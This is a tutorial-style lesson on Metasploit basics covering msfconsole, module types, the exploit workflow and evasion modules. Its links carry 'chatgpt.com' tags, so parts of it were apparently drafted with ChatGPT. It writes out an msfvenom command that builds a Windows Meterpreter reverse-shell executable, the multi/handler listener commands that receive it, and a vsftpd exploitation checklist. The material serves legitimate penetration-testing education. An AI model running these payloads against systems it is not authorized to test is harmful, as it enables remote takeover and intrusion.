# Day 12 — Metasploit Framework Basics

Today we will explains the msfconsole interface, various module types, the workflow of using Metasploit commands, the msfvenom tool for payload creation, listener setup with exploit/multi/handler, and concepts such as encoders, NOPs, and evasion.

## 1. msfconsole

The msfconsole is the primary interactive command-line interface for the Metasploit Framework. It allows users to search for, configure, and execute modules. When started, it displays a summary of available modules, including exploits, auxiliary modules, payloads, encoders, nops, evasion, and post modules.

## 2. Module Types in Metasploit

Metasploit uses a modular architecture, with each module type serving a specific purpose:

* • Exploit — Code that leverages a specific vulnerability to execute arbitrary code on a target system.
* • Payload — The code delivered and executed on the target after exploitation, such as Meterpreter or a shell.
* • Auxiliary — Modules for scanning, enumeration, fuzzing, and other non-exploitation tasks.
* • Post — Modules executed after gaining access, used for maintaining persistence or gathering information.
* • Encoder — Transforms the payload to remove bad characters or alter its byte patterns.
* • NOP (No Operation) — Generates padding instructions useful in exploits like buffer overflows.
* • Evasion — Modules designed to modify payload delivery to bypass detection mechanisms.

## 3. Typical Metasploit Workflow

A common sequence of commands in msfconsole includes:

1. 1. search <term> — Searches for modules matching the term.
2. 2. use <module-path> — Loads the desired module.
3. 3. show options — Displays required and optional parameters.
4. 4. set <option> <value> — Configures the module's parameters.
5. 5. exploit or run — Executes the module.

## 4. show evasion

The show evasion command lists evasion options for modules that support them. These options can help in modifying network or binary behavior to avoid detection.

## 5. msfvenom Payload Creation

msfvenom is used to generate standalone payloads in various formats. It replaced the older msfpayload and msfencode tools.

Example command:

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<your-IP> LPORT=4444 -f exe -o windows\_payloads.exe

Explanation of parameters:

* • -p — Specifies the payload.
* • LHOST — The local host IP address to connect back to.
* • LPORT — The local port for the reverse connection.
* • -f — Output format (exe in this case).
* • -o — Output file name.

## 6. Starting a Listener

Metasploit provides exploit/multi/handler to act as a generic listener for payloads. For reverse payloads, it is crucial to start the listener before executing the payload on the target.\

Commands:

msfconsole

msf> use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse\_tcp

msf exploit(handler) > set LHOST <your-IP>

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > run # or `exploit`

## 7. Additional Notes

* • Staged payloads send a small stager first, then the main payload.
* • Stageless payloads contain the entire payload in one stage.
* • Encoders are mainly for avoiding bad characters, not guaranteed AV bypass.
* • NOPs create safe instruction padding.
* • Evasion modules can help bypass some detection mechanisms, but success varies.
* **Staged vs Stageless (short)**
* **Staged** (windows/meterpreter/reverse\_tcp): small *stager* runs first, connects back, then downloads the larger stage (Meterpreter). Good when exploit space is tiny.
* **Stageless** (windows/meterpreter\_reverse\_tcp style naming with underscore historically) = single file with everything included; larger but doesn’t need a second connection. Choose based on reliability vs stealth/size tradeoffs. [docs.rapid7.com](https://docs.rapid7.com/metasploit/working-with-payloads/?utm_source=chatgpt.com)[rapid7.github.io](https://rapid7.github.io/metasploit-framework/docs/using-metasploit/advanced/meterpreter/meterpreter-stageless-mode.html?utm_source=chatgpt.com)
* **Encoders, NOPs, and Evasion — practical note**
* **Encoders**: used to remove bad characters (null bytes, newline) or change byte patterns. They’re handy for exploit constraints, but **don’t** assume they’re a robust AV bypass. [docs.metasploit.com](https://docs.metasploit.com/docs/modules.html?utm_source=chatgpt.com)[Rapid7](https://www.rapid7.com/blog/post/2014/03/28/like-msfvenom-heres-a-faster-way-to-generate-stand-alone-metasploit-payloads/?utm_source=chatgpt.com)
* **NOPs**: used for buffer-overflow style exploits to create NOP sleds and alignment padding. [docs.metasploit.com](https://docs.metasploit.com/docs/modules.html?utm_source=chatgpt.com)
* **Evasion modules/options**: Metasploit added an evasion type to help craft binaries/payloads that try to evade AV/EDR. Use them carefully and only in authorized lab testing; AV evasion is arms-race territory and not guaranteed. [docs.metasploit.com](https://docs.metasploit.com/docs/modules.html?utm_source=chatgpt.com)[Hackers Arise](https://hackers-arise.com/metasploit-basics-for-hackers-part-24-the-new-evasion-modules-in-metasploit-5/?utm_source=chatgpt.com)
* **Quick checklist (safe lab procedure)**

1. Start msfconsole. [docs.rapid7.com](https://docs.rapid7.com/metasploit/msf-overview/?utm_source=chatgpt.com)
2. search type:exploit vsftpd (or search vsftpd). Pick the right module. [OffSec](https://www.offsec.com/metasploit-unleashed/msfconsole-commands/?utm_source=chatgpt.com)
3. use <module> → show options → set RHOST / RPORT / payload. [rapid7.github.io](https://rapid7.github.io/metasploit-framework/docs/pentesting/metasploit-guide-setting-module-options.html?utm_source=chatgpt.com)
4. If you built a payload with msfvenom, prepare the handler: use exploit/multi/handler → set payload/LHOST/LPORT → run. Always start the handler/listener before running the payload on the target in a reverse scenario. [GitHub](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom?utm_source=chatgpt.com)[AdFoster](https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html?utm_source=chatgpt.com)
5. After a session is created, look at sessions/session -i <id> and then you can use post modules or Meterpreter commands. [OffSec](https://www.offsec.com/metasploit-unleashed/binary-payloads/?utm_source=chatgpt.com)

* **Where to read more (official docs)**
* Metasploit docs & getting started: Rapid7 / Metasploit docs. [docs.rapid7.com](https://docs.rapid7.com/metasploit/msf-overview/?utm_source=chatgpt.com)[docs.metasploit.com](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html?utm_source=chatgpt.com)
* Metasploit modules reference (encoders / nops / evasion counts & descriptions): modules page. [docs.metasploit.com](https://docs.metasploit.com/docs/modules.html?utm_source=chatgpt.com)
* msfvenom usage: Metasploit GitHub wiki / msfvenom guides

**SUMMARY:**

* **msfconsole** is Metasploit’s main CLI interface for searching, configuring, and running modules.
* **Module types** include:
* *Exploit* — attacks vulnerabilities
* *Payload* — code executed after exploitation
* *Auxiliary* — scanners, brute-forcers, etc.
* *Post* — post-exploitation tools
* *Encoder* — modifies payloads to avoid bad characters
* *NOP* — padding instructions for exploits
* *Evasion* — techniques to avoid detection
* **Workflow**: search → use → show options → set → exploit/run.
* **show evasion** lists evasion options for supported modules.
* **msfvenom** builds payloads; example:
* msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<your-IP> LPORT=4444 -f exe -o file.exe
* **Listeners**: exploit/multi/handler is used to catch reverse connections — always start it before running payloads.